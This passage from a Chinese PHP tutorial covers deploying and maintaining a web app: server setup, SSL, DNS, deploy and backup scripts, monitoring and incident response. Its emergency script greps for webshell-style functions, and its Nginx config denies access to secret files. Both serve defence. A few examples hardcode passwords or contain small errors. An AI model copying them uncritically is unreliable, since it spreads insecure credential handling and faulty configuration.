- [ ] 数据库查询优化
- [ ] 缓存机制
- [ ] 图片优化

总结

通过开发博客系统,你已经:

  1. 掌握了复杂业务逻辑处理:学会了如何处理复杂的业务需求
  2. 实现了文件上传功能:了解了文件上传的安全性和处理方法
  3. 学会了分页显示:掌握了大量数据分页展示的技术
  4. 实现了搜索功能:学会了全文搜索的实现方法
  5. 集成了富文本编辑器:掌握了第三方库的集成方法
  6. 开发了后台管理系统:了解了完整的后台系统架构
  7. 实施了性能优化:学会了缓存等优化技术的使用
  8. 实践了SEO优化:了解了网站SEO的基本要求

这个博客系统是一个完整的PHP Web应用,它涵盖了现代Web开发的许多重要方面。你可以基于这个系统继续扩展,开发更多功能,如:

  • 用户关注系统
  • 文章收藏功能
  • 邮件订阅功能
  • 社交媒体集成
  • 多语言支持
  • 移动端适配

部署与维护

恭喜你完成了PHP项目的开发!现在让我们学习如何将项目部署到服务器,并进行日常维护。本章将详细介绍从开发环境到生产环境的完整流程。

学习目标

完成本章后,你将能够:

  • 选择合适的 hosting 服务商
  • 配置生产环境的服务器
  • 使用 Git 进行版本控制部署
  • 实施自动化部署流程
  • 监控和维护线上项目
  • 处理常见的服务器问题

部署前的准备工作

1. 项目检查清单

在部署之前,让我们确保项目已经准备就绪:

功能完整性检查

## 功能检查清单

### 核心功能
- [ ] 用户注册和登录功能正常
- [ ] 密码重置功能可用
- [ ] 邮件发送功能正常
- [ ] 文件上传功能安全可靠

### 安全检查
- [ ] SQL注入防护已实施
- [ ] XSS攻击防护已开启
- [ ] CSRF保护已配置
- [ ] 密码已正确加密存储
- [ ] 敏感信息已移出代码

### 性能优化
- [ ] 数据库查询已优化
- [ ] 图片文件已压缩
- [ ] 静态资源已合并/压缩
- [ ] 缓存机制已实现

### 配置文件
- [ ] 数据库配置正确
- [ ] 错误报告已关闭(生产环境)
- [ ] 日志记录已启用
- [ ] 时区设置正确

安全配置检查

// config/security.php - 安全配置示例
<?php
return [
    // 强制HTTPS
    'force_https' => true,

    // 安全头设置
    'security_headers' => [
        'X-Frame-Options' => 'SAMEORIGIN',
        'X-XSS-Protection' => '1; mode=block',
        'X-Content-Type-Options' => 'nosniff',
        'Strict-Transport-Security' => 'max-age=31536000; includeSubDomains'
    ],

    // Session安全
    'session' => [
        'cookie_httponly' => true,
        'cookie_secure' => true,
        'use_strict_mode' => true,
        'gc_maxlifetime' => 1440 // 24分钟
    ],

    // 文件上传限制
    'upload' => [
        'max_size' => 5 * 1024 * 1024, // 5MB
        'allowed_types' => ['jpg', 'jpeg', 'png', 'gif', 'pdf'],
        'path' => '/var/www/uploads/'
    ]
];

2. 代码优化

关闭调试模式

// 环境检测和配置
define('ENVIRONMENT', isset($_SERVER['ENVIRONMENT']) ? $_SERVER['ENVIRONMENT'] : 'development');

if (ENVIRONMENT === 'development') {
    error_reporting(E_ALL);
    ini_set('display_errors', 1);
    define('DEBUG', true);
} else {
    error_reporting(0);
    ini_set('display_errors', 0);
    define('DEBUG', false);
}

// 错误处理函数
function handleError($errno, $errstr, $errfile, $errline) {
    if (!DEBUG) {
        // 生产环境记录错误到日志
        error_log("Error [$errno]: $errstr in $errfile on line $errline");
        // 显示友好的错误页面
        include __DIR__ . '/views/errors/500.php';
        exit();
    }
}

set_error_handler('handleError');

优化数据库配置

// config/database.php - 生产环境数据库配置
<?php
return [
    'host' => $_ENV['DB_HOST'] ?? 'localhost',
    'port' => $_ENV['DB_PORT'] ?? '3306',
    'database' => $_ENV['DB_NAME'] ?? 'myapp',
    'username' => $_ENV['DB_USER'] ?? 'root',
    'password' => $_ENV['DB_PASS'] ?? '',
    'charset' => 'utf8mb4',
    'collation' => 'utf8mb4_unicode_ci',

    // 生产环境优化配置
    'options' => [
        PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
        PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
        PDO::ATTR_EMULATE_PREPARES => false, // 防止SQL注入
        PDO::MYSQL_ATTR_INIT_COMMAND => "SET NAMES utf8mb4",
        PDO::ATTR_PERSISTENT => true // 使用持久连接
    ]
];

选择合适的托管方案

1. 共享主机 (Shared Hosting)

适合初学者和小型项目:

优点

  • 价格便宜(通常每月 $5-$20)
  • 无需服务器管理经验
  • 提供控制面板(cPanel/Plesk)
  • 技术支持

缺点

  • 资源受限
  • 性能不稳定
  • 自定义配置受限
  • 安全性较低

推荐服务商

1. Bluehost
   - 价格:$2.75/月起
   - 特点:WordPress优化,免费SSL

2. HostGator
   - 价格:$2.75/月起
   - 特点:无限带宽,45天退款保证

3. SiteGround
   - 价格:$3.99/月起
   - 特点:优秀的客服,每日备份

2. VPS (Virtual Private Server)

适合中型项目和有一定技术基础的开发者:

优点

  • 独立的资源
  • 完全的控制权
  • 更好的性能
  • 可扩展性强

缺点

  • 需要技术知识
  • 需要自己管理服务器
  • 价格较高

推荐VPS提供商

1. DigitalOcean
   - 价格:$5/月起
   - 特点:简单易用,文档丰富

2. Linode
   - 价格:$5/月起
   - 特点:高性能,24/7支持

3. Vultr
   - 价格:$2.50/月起
   - 特点:全球多数据中心

3. 云服务

适合大型项目和高可用性要求:

AWS (Amazon Web Services)

// AWS部署脚本示例
<?php
// deploy-aws.sh
#!/bin/bash

# 1. 安装LAMP栈
sudo apt update
sudo apt install -y apache2 mysql-server php libapache2-mod-php php-mysql

# 2. 配置Apache
sudo a2enmod rewrite
sudo systemctl restart apache2

# 3. 配置MySQL
sudo mysql -e "CREATE DATABASE myapp;"
sudo mysql -e "CREATE USER 'appuser'@'localhost' IDENTIFIED BY 'securepassword';"
sudo mysql -e "GRANT ALL PRIVILEGES ON myapp.* TO 'appuser'@'localhost';"

# 4. 部署代码
sudo git clone https://github.com/username/myapp.git /var/www/html/
sudo chown -R www-data:www-data /var/www/html/

echo "AWS部署完成!"

服务器环境配置

1. LAMP 环境搭建

安装 Apache

# Ubuntu/Debian
sudo apt update
sudo apt install -y apache2

# 启用必要模块
sudo a2enmod rewrite
sudo a2enmod ssl
sudo a2enmod headers

# 配置虚拟主机
sudo nano /etc/apache2/sites-available/myapp.conf

Apache虚拟主机配置:

# /etc/apache2/sites-available/myapp.conf
<VirtualHost *:80>
    ServerName yourdomain.com
    ServerAlias www.yourdomain.com

    DocumentRoot /var/www/myapp/public

    <Directory /var/www/myapp/public>
        Options -Indexes +FollowSymLinks
        AllowOverride All
        Require all granted
    </Directory>

    # 日志配置
    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined

    # 安全头
    Header always set X-Frame-Options DENY
    Header always set X-Content-Type-Options nosniff
    Header always set X-XSS-Protection "1; mode=block"
</VirtualHost>

# HTTPS配置
<VirtualHost *:443>
    ServerName yourdomain.com
    ServerAlias www.yourdomain.com

    DocumentRoot /var/www/myapp/public

    SSLEngine on
    SSLCertificateFile /etc/ssl/certs/yourdomain.crt
    SSLCertificateKeyFile /etc/ssl/private/yourdomain.key

    # 安全配置
    SSLProtocol all -SSLv3 -TLSv1 -TLSv1.1
    SSLCipherSuite HIGH:!aNULL:!MD5
</VirtualHost>

启用站点:

sudo a2ensite myapp
sudo a2dissite 000-default
sudo systemctl reload apache2

安装 PHP

# 安装PHP和常用扩展
sudo apt install -y php php-cli php-fpm php-mysql php-curl php-gd \
    php-mbstring php-xml php-zip php-intl php-bcmath

# 配置PHP
sudo nano /etc/php/8.0/apache2/php.ini

PHP生产环境配置:

# /etc/php/8.0/apache2/php.ini
; 基本设置
max_execution_time = 30
max_input_time = 60
memory_limit = 128M

; 错误显示
display_errors = Off
log_errors = On
error_log = /var/log/php_errors.log

; 文件上传
upload_max_filesize = 5M
post_max_size = 6M
max_file_uploads = 20

; Session配置
session.cookie_httponly = 1
session.cookie_secure = 1
session.use_strict_mode = 1

; OPcache优化
opcache.enable=1
opcache.memory_consumption=128
opcache.max_accelerated_files=4000
opcache.revalidate_freq=60

安装和配置 MySQL

# 安装MySQL
sudo apt install -y mysql-server

# 安全配置
sudo mysql_secure_installation

# 登录MySQL创建数据库
sudo mysql -u root -p

MySQL安全配置:

-- 创建专用数据库用户
CREATE DATABASE myapp CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
CREATE USER 'appuser'@'localhost' IDENTIFIED BY 'StrongPassword123!';
GRANT ALL PRIVILEGES ON myapp.* TO 'appuser'@'localhost';
FLUSH PRIVILEGES;

-- 导入数据库结构
USE myapp;
SOURCE /path/to/your/database.sql;

2. Nginx + PHP-FPM 配置

安装 Nginx:

sudo apt install -y nginx php-fpm

Nginx配置文件:

# /etc/nginx/sites-available/myapp
server {
    listen 80;
    server_name yourdomain.com www.yourdomain.com;
    return 301 https://$server_name$request_uri;
}

server {
    listen 443 ssl http2;
    server_name yourdomain.com www.yourdomain.com;

    root /var/www/myapp/public;
    index index.php index.html;

    # SSL配置
    ssl_certificate /etc/ssl/certs/yourdomain.crt;
    ssl_certificate_key /etc/ssl/private/yourdomain.key;
    ssl_protocols TLSv1.2 TLSv1.3;
    ssl_ciphers HIGH:!aNULL:!MD5;

    # 安全头
    add_header X-Frame-Options DENY;
    add_header X-Content-Type-Options nosniff;
    add_header X-XSS-Protection "1; mode=block";
    add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;

    # PHP处理
    location ~ \.php$ {
        try_files $uri =404;
        fastcgi_split_path_info ^(.+\.php)(/.+)$;
        fastcgi_pass unix:/var/run/php/php8.0-fpm.sock;
        fastcgi_index index.php;
        include fastcgi_params;
        fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
        fastcgi_param HTTPS on;
    }

    # 静态文件缓存
    location ~* \.(jpg|jpeg|png|gif|css|js|ico|svg)$ {
        expires 1y;
        add_header Cache-Control "public, immutable";
    }

    # 禁止访问敏感文件
    location ~ /\. {
        deny all;
    }

    location ~ /(config|\.env) {
        deny all;
    }
}

启用配置:

sudo ln -s /etc/nginx/sites-available/myapp /etc/nginx/sites-enabled/
sudo nginx -t
sudo systemctl reload nginx

SSL证书配置

1. 使用 Let's Encrypt (免费)

安装 Certbot:

sudo apt install -y certbot python3-certbot-apache
# 或
sudo apt install -y certbot python3-certbot-nginx

获取并安装证书:

# Apache
sudo certbot --apache -d yourdomain.com -d www.yourdomain.com

# Nginx
sudo certbot --nginx -d yourdomain.com -d www.yourdomain.com

# 自动续期
sudo crontab -e
# 添加:0 12 * * * /usr/bin/certbot renew --quiet

2. 手动配置SSL证书

生成CSR:

# 生成私钥
sudo openssl genrsa -out yourdomain.key 2048

# 生成CSR
sudo openssl req -new -key yourdomain.key -out yourdomain.csr

# 将CSR提交给CA购买证书

安装证书:

# 将证书文件复制到服务器
sudo cp yourdomain.crt /etc/ssl/certs/
sudo cp yourdomain.key /etc/ssl/private/

# 设置权限
sudo chmod 644 /etc/ssl/certs/yourdomain.crt
sudo chmod 600 /etc/ssl/private/yourdomain.key

域名和DNS配置

1. 域名购买与配置

推荐域名注册商

1. Namecheap
   - 价格:$8.98/年起
   - 特点:免费WHOIS隐私保护

2. GoDaddy
   - 价格:$12.99/年起
   - 特点:世界最大注册商

3. Cloudflare
   - 价格:免费注册
   - 特点:集成CDN和DDoS防护

2. DNS记录配置

## 基本DNS记录

@ (A) 服务器IP地址
www (A) 服务器IP地址
mail (A) 邮件服务器IP
* (CNAME) yourdomain.com

## 邮件记录(如果需要)
@ (MX) mail.yourdomain.com (优先级 10)

## 验证记录
@ (TXT) "v=spf1 include:_spf.google.com ~all"

## 安全记录
@ (DMARC) "v=DMARC1; p=quarantine; rua=mailto:dmarc@yourdomain.com"

部署流程

1. 使用 Git 部署

初始化Git仓库:

# 在本地项目目录
git init
git add .
git commit -m "Initial commit"

# 添加远程仓库
git remote add origin https://github.com/username/myapp.git
git push -u origin master

服务器配置:

# 登录服务器
ssh user@yourserver

# 克隆代码
cd /var/www
sudo git clone https://github.com/username/myapp.git
sudo chown -R www-data:www-data myapp

2. 自动化部署脚本

创建部署脚本:

#!/bin/bash
# deploy.sh

# 配置变量
PROJECT_DIR="/var/www/myapp"
BACKUP_DIR="/var/backups/myapp"
BRANCH="main"
COMMIT_HASH=$(git rev-parse HEAD)

echo "开始部署项目..."

# 1. 备份当前版本
if [ -d "$PROJECT_DIR" ]; then
    echo "备份当前版本..."
    sudo cp -r $PROJECT_DIR $BACKUP_DIR/backup-$(date +%Y%m%d-%H%M%S)
fi

# 2. 拉取最新代码
echo "拉取最新代码..."
cd $PROJECT_DIR
sudo git pull origin $BRANCH

# 3. 安装依赖
if [ -f "composer.json" ]; then
    echo "安装PHP依赖..."
    sudo composer install --no-dev --optimize-autoloader
fi

# 4. 运行数据库迁移
if [ -f "database/migrate.php" ]; then
    echo "运行数据库迁移..."
    sudo php database/migrate.php
fi

# 5. 清除缓存
echo "清除缓存..."
sudo rm -rf cache/*
sudo chmod -R 755 cache/

# 6. 设置权限
echo "设置文件权限..."
sudo chown -R www-data:www-data $PROJECT_DIR
sudo find $PROJECT_DIR -type d -exec chmod 755 {} \;
sudo find $PROJECT_DIR -type f -exec chmod 644 {} \;

# 7. 重启服务
echo "重启服务..."
sudo systemctl reload apache2
# 或 sudo systemctl reload nginx

echo "部署完成!Commit: $COMMIT_HASH"

3. 使用 Composer 进行依赖管理

创建 composer.json:

{
    "name": "yourname/myapp",
    "description": "My PHP Application",
    "require": {
        "php": ">=7.4",
        "phpmailer/phpmailer": "^6.5",
        "vlucas/phpdotenv": "^5.4",
        "twig/twig": "^3.3"
    },
    "require-dev": {
        "phpunit/phpunit": "^9.5",
        "squizlabs/php_codesniffer": "^3.6"
    },
    "autoload": {
        "psr-4": {
            "App\\": "src/"
        }
    },
    "scripts": {
        "deploy": [
            "composer install --no-dev --optimize-autoloader",
            "php -v"
        ]
    }
}

生产环境安装:

# 只安装生产依赖,优化自动加载
composer install --no-dev --optimize-autoloader

# 更新依赖
composer update --no-dev

监控和维护

1. 日志管理

配置日志轮转:

# /etc/logrotate.d/myapp
/var/www/myapp/logs/*.log {
    daily
    missingok
    rotate 30
    compress
    delaycompress
    notifempty
    create 644 www-data www-data
    postrotate
        systemctl reload apache2
    endscript
}

查看日志:

# Apache访问日志
sudo tail -f /var/log/apache2/access.log

# Apache错误日志
sudo tail -f /var/log/apache2/error.log

# PHP错误日志
sudo tail -f /var/log/php_errors.log

# MySQL日志
sudo tail -f /var/log/mysql/error.log

2. 性能监控

创建监控脚本:

<?php
// monitor.php - 服务器状态监控
class ServerMonitor
{
    private $thresholds = [
        'cpu_usage' => 80,        // CPU使用率阈值
        'memory_usage' => 85,     // 内存使用率阈值
        'disk_usage' => 90,       // 磁盘使用率阈值
        'load_avg' => 5.0         // 负载平均值
    ];

    public function checkSystem()
    {
        $checks = [
            'cpu' => $this->checkCpuUsage(),
            'memory' => $this->checkMemoryUsage(),
            'disk' => $this->checkDiskUsage(),
            'load' => $this->checkLoadAverage(),
            'services' => $this->checkServices()
        ];

        $this->sendAlert($checks);

        return $checks;
    }

    private function checkCpuUsage()
    {
        $load = sys_getloadavg();
        return [
            'current' => $load[0],
            'threshold' => $this->thresholds['load_avg'],
            'status' => $load[0] < $this->thresholds['load_avg'] ? 'OK' : 'CRITICAL'
        ];
    }

    private function checkMemoryUsage()
    {
        $free = shell_exec('free -m');
        $lines = explode("\n", $free);
        $memory = explode(" ", $lines[1]);
        $memory = array_filter($memory);
        $memory = array_values($memory);

        $total = $memory[1];
        $used = $memory[2];
        $usage = ($used / $total) * 100;

        return [
            'current' => round($usage, 2),
            'threshold' => $this->thresholds['memory_usage'],
            'status' => $usage < $this->thresholds['memory_usage'] ? 'OK' : 'WARNING'
        ];
    }

    private function checkDiskUsage()
    {
        $diskFree = disk_free_space('/');
        $diskTotal = disk_total_space('/');
        $usage = (($diskTotal - $diskFree) / $diskTotal) * 100;

        return [
            'current' => round($usage, 2),
            'threshold' => $this->thresholds['disk_usage'],
            'status' => $usage < $this->thresholds['disk_usage'] ? 'OK' : 'CRITICAL'
        ];
    }

    private function checkServices()
    {
        $services = ['apache2', 'mysql', 'nginx'];
        $results = [];

        foreach ($services as $service) {
            $status = shell_exec("systemctl is-active $service");
            $results[$service] = trim($status) === 'active' ? 'OK' : 'DOWN';
        }

        return $results;
    }

    private function sendAlert($checks)
    {
        foreach ($checks as $check => $value) {
            if (is_array($value)) {
                foreach ($value as $service => $status) {
                    if ($status === 'CRITICAL' || $status === 'DOWN') {
                        $this->sendEmail("$check: $service is $status");
                    }
                }
            }
        }
    }

    private function sendEmail($message)
    {
        // 发送告警邮件
        mail('admin@yourdomain.com', '服务器监控告警', $message);
    }
}

// 运行监控
$monitor = new ServerMonitor();
$results = $monitor->checkSystem();

// 输出JSON格式供API调用
header('Content-Type: application/json');
echo json_encode($results, JSON_PRETTY_PRINT);

3. 自动化任务(Cron Jobs)

设置定时任务:

# 编辑crontab
crontab -e

# 每天凌晨2点备份数据库
0 2 * * * /usr/bin/mysqldump -u appuser -p'password' myapp | gzip > /var/backups/myapp/db-$(date +\%Y\%m\%d).sql.gz

# 每小时检查服务器状态
0 * * * * /usr/bin/php /var/www/myapp/monitor.php >> /var/log/monitor.log 2>&1

# 每天清理临时文件
0 3 * * * /usr/bin/find /tmp -type f -mtime +7 -delete

# 每周重启服务(可选)
0 4 * * 0 /usr/sbin/service apache2 restart

4. 数据库维护

自动备份脚本:

#!/bin/bash
# backup.sh

# 配置
DB_NAME="myapp"
DB_USER="appuser"
DB_PASS="password"
BACKUP_DIR="/var/backups/myapp"
RETENTION_DAYS=30

# 创建备份目录
mkdir -p $BACKUP_DIR

# 生成备份文件名
DATE=$(date +"%Y%m%d_%H%M%S")
BACKUP_FILE="$BACKUP_DIR/db_backup_$DATE.sql"

# 备份数据库
mysqldump --single-transaction --routines --triggers -u$DB_USER -p$DB_PASS $DB_NAME > $BACKUP_FILE

# 压缩备份文件
gzip $BACKUP_FILE

# 删除旧备份
find $BACKUP_DIR -name "db_backup_*.sql.gz" -mtime +$RETENTION_DAYS -delete

# 上传到云存储(可选)
# aws s3 cp $BACKUP_FILE.gz s3://your-backup-bucket/

echo "数据库备份完成: $BACKUP_FILE.gz"

安全加固

1. 防火墙配置

使用 UFW (Ubuntu):

# 安装UFW
sudo apt install ufw

# 默认策略
sudo ufw default deny incoming
sudo ufw default allow outgoing

# 允许SSH
sudo ufw allow ssh

# 允许HTTP和HTTPS
sudo ufw allow 80
sudo ufw allow 443

# 启用防火墙
sudo ufw enable

# 查看状态
sudo ufw status

2. 防止DDoS攻击

Nginx限制请求率:

# 在nginx.conf的http块中
limit_req_zone $binary_remote_addr zone=limit:10m rate=10r/s;
limit_conn_zone $binary_remote_addr zone=addr:10m;

server {
    # 应用限制
    limit_req zone=limit burst=20 nodelay;
    limit_conn addr 10;

    # 其他配置...
}

3. 文件权限安全

设置正确的文件权限:

#!/bin/bash
# set-permissions.sh

PROJECT_DIR="/var/www/myapp"

# 设置目录权限
find $PROJECT_DIR -type d -exec chmod 755 {} \;

# 设置文件权限
find $PROJECT_DIR -type f -exec chmod 644 {} \;

# 特殊权限设置
chmod 600 $PROJECT_DIR/config/database.php
chmod 600 $PROJECT_DIR/.env
chmod 755 $PROJECT_DIR/storage
chmod 755 $PROJECT_DIR/cache
chmod 755 $PROJECT_DIR/uploads

# 设置所有者
chown -R www-data:www-data $PROJECT_DIR

echo "文件权限设置完成!"

性能优化

1. 数据库优化

创建索引:

-- 为常用查询字段添加索引
CREATE INDEX idx_users_email ON users(email);
CREATE INDEX idx_posts_user_id ON posts(user_id);
CREATE INDEX idx_posts_created_at ON posts(created_at);
CREATE INDEX idx_comments_post_id ON comments(post_id);

-- 复合索引
CREATE INDEX idx_posts_status_created ON posts(status, created_at);

-- 分析查询性能
EXPLAIN SELECT * FROM posts WHERE status = 'published' ORDER BY created_at DESC LIMIT 10;

2. 缓存优化

OPcache配置:

; /etc/php/8.0/mods-available/opcache.ini
opcache.enable=1
opcache.enable_cli=0
opcache.memory_consumption=128
opcache.interned_strings_buffer=8
opcache.max_accelerated_files=4000
opcache.revalidate_freq=60
opcache.fast_shutdown=1
opcache.save_comments=1

3. 静态资源优化

Nginx静态资源缓存:

# 缓存图片、CSS、JS等静态文件
location ~* \.(css|js|png|jpg|jpeg|gif|ico|svg|woff|woff2|ttf)$ {
    expires 1y;
    add_header Cache-Control "public, immutable";
    add_header Vary Accept-Encoding;
}

# 启用Gzip压缩
gzip on;
gzip_vary on;
gzip_min_length 1024;
gzip_proxied any;
gzip_comp_level 6;
gzip_types
    text/plain
    text/css
    text/xml
    text/javascript
    application/javascript
    application/xml+rss
    application/json;

故障排除

1. 常见问题诊断

502 Bad Gateway

# 检查PHP-FPM状态
sudo systemctl status php8.0-fpm

# 查看PHP-FPM日志
sudo tail -f /var/log/php8.0-fpm.log

# 重启PHP-FPM
sudo systemctl restart php8.0-fpm

数据库连接错误

<?php
// debug-db.php - 数据库连接测试
try {
    $pdo = new PDO(
        "mysql:host=localhost;dbname=myapp",
        "appuser",
        "password"
    );
    echo "数据库连接成功!";

    // 测试查询
    $stmt = $pdo->query("SELECT COUNT(*) FROM users");
    echo "用户总数:" . $stmt->fetchColumn();

} catch (PDOException $e) {
    echo "数据库连接失败:" . $e->getMessage();

    // 检查常见问题
    if (strpos($e->getMessage(), "Access denied") !== false) {
        echo "\n提示:检查用户名和密码";
    } elseif (strpos($e->getMessage(), "Unknown database") !== false) {
        echo "\n提示:数据库不存在,需要创建";
    }
}

文件权限问题

# 检查文件权限
ls -la /var/www/myapp/

# 修复权限
sudo chown -R www-data:www-data /var/www/myapp/
sudo chmod -R 755 /var/www/myapp/

2. 日志分析

创建日志分析脚本:

<?php
// log-analyzer.php - 分析Apache访问日志
class LogAnalyzer
{
    private $logFile;
    private $analysis = [];

    public function __construct($logFile)
    {
        $this->logFile = $logFile;
    }

    public function analyze()
    {
        $lines = file($this->logFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);

        foreach ($lines as $line) {
            $this->parseLine($line);
        }

        return $this->generateReport();
    }

    private function parseLine($line)
    {
        // Apache log格式: IP - - [date] "method url protocol" status size "referer" "user-agent"
        if (preg_match('/^(\S+) \S+ \S+ \[([^\]]+)\] "(\S+) (\S+) \S+" (\d+) (\d+) "([^"]*)" "([^"]*)"/', $line, $matches)) {
            $ip = $matches[1];
            $date = $matches[2];
            $method = $matches[3];
            $url = $matches[4];
            $status = $matches[5];
            $size = $matches[6];
            $referer = $matches[7];
            $userAgent = $matches[8];

            // 统计状态码
            $this->analysis['status_codes'][$status] = ($this->analysis['status_codes'][$status] ?? 0) + 1;

            // 统计热门页面
            $this->analysis['popular_pages'][$url] = ($this->analysis['popular_pages'][$url] ?? 0) + 1;

            // 统计IP访问
            $this->analysis['ip_visits'][$ip] = ($this->analysis['ip_visits'][$ip] ?? 0) + 1;

            // 检测可疑活动
            if ($status >= 400) {
                $this->analysis['errors'][] = [
                    'ip' => $ip,
                    'url' => $url,
                    'status' => $status,
                    'time' => $date
                ];
            }
        }
    }

    private function generateReport()
    {
        // 排序
        arsort($this->analysis['popular_pages']);
        arsort($this->analysis['ip_visits']);

        // 生成报告
        $report = [
            'total_visits' => array_sum($this->analysis['ip_visits']),
            'unique_ips' => count($this->analysis['ip_visits']),
            'errors' => count($this->analysis['errors'] ?? []),
            'top_pages' => array_slice($this->analysis['popular_pages'], 0, 10),
            'top_ips' => array_slice($this->analysis['ip_visits'], 0, 10),
            'status_codes' => $this->analysis['status_codes']
        ];

        return $report;
    }
}

// 使用示例
$analyzer = new LogAnalyzer('/var/log/apache2/access.log');
$report = $analyzer->analyze();

echo "访问日志分析报告\n";
echo "==================\n";
echo "总访问次数:{$report['total_visits']}\n";
echo "独立IP数:{$report['unique_ips']}\n";
echo "错误数:{$report['errors']}\n\n";

echo "热门页面(Top 10):\n";
foreach ($report['top_pages'] as $page => $count) {
    echo "  $page: $count 次\n";
}

应急响应

1. 网站被黑处理

应急处理步骤:

#!/bin/bash
# emergency-response.sh

echo "开始应急响应..."

# 1. 立即备份现场
echo "1. 备份当前数据..."
mkdir -p /var/backups/emergency/$(date +%Y%m%d_%H%M%S)
cp -r /var/www/myapp /var/backups/emergency/$(date +%Y%m%d_%H%M%S)/

# 2. 暂停网站访问
echo "2. 暂停网站服务..."
sudo systemctl stop apache2

# 3. 检查最近修改的文件
echo "3. 检查可疑文件..."
find /var/www/myapp -type f -mtime -7 -ls

# 4. 检查可疑PHP文件
echo "4. 搜索可疑PHP代码..."
grep -r "eval\|base64_decode\|shell_exec\|passthru" /var/www/myapp/ --include="*.php"

# 5. 清理缓存
echo "5. 清理缓存..."
rm -rf /var/www/myapp/cache/*

# 6. 重置密码
echo "6. 重置所有密码..."
sudo mysql -e "ALTER USER 'appuser'@'localhost' IDENTIFIED BY 'NewStrongPassword123!';"

echo "应急响应完成!请手动审查代码后恢复服务。"

2. 数据恢复

从备份恢复:

#!/bin/bash
# restore.sh

BACKUP_FILE=$1
DB_NAME="myapp"
DB_USER="appuser"

if [ -z "$BACKUP_FILE" ]; then
    echo "用法: ./restore.sh backup_file.sql.gz"
    exit 1
fi

echo "开始恢复数据库..."

# 1. 创建当前数据库备份
mysqldump -u$DB_USER -p $DB_NAME > /var/backups/emergency/current_backup.sql

# 2. 恢复数据库
gunzip -c $BACKUP_FILE | mysql -u$DB_USER -p $DB_NAME

# 3. 检查数据完整性
mysql -u$DB_USER -p $DB_NAME -e "SELECT COUNT(*) FROM users;"

echo "数据库恢复完成!"

总结

通过本章的学习,你掌握了:

部署技能

  • 选择合适的托管方案
  • 配置生产环境服务器
  • 使用Git进行代码部署
  • 配置SSL证书
  • 管理域名和DNS

维护技能

  • 监控服务器性能
  • 管理日志文件
  • 自动化备份
  • 性能优化
  • 安全加固

应急处理

  • 诊断常见问题
  • 处理安全事件
  • 数据恢复

持续改进

部署不是结束,而是开始。持续改进你的运维技能:

  1. 学习自动化工具:Ansible, Puppet, Chef
  2. 掌握容器化:Docker, Kubernetes
  3. 使用CI/CD:Jenkins, GitLab CI
  4. 监控和告警:Prometheus, Grafana
  5. 云服务:AWS, Google Cloud, Azure

记住,一个稳定的生产环境需要持续的关注和维护。不断学习新的技术和最佳实践,让你的PHP应用运行得更稳定、更安全!


恭喜完成所有章节的学习! 你现在已经从一个PHP初成长为具备完整项目开发、部署和维护能力的PHP开发者了!

继续探索PHP的世界,创造更多精彩的应用吧!🎉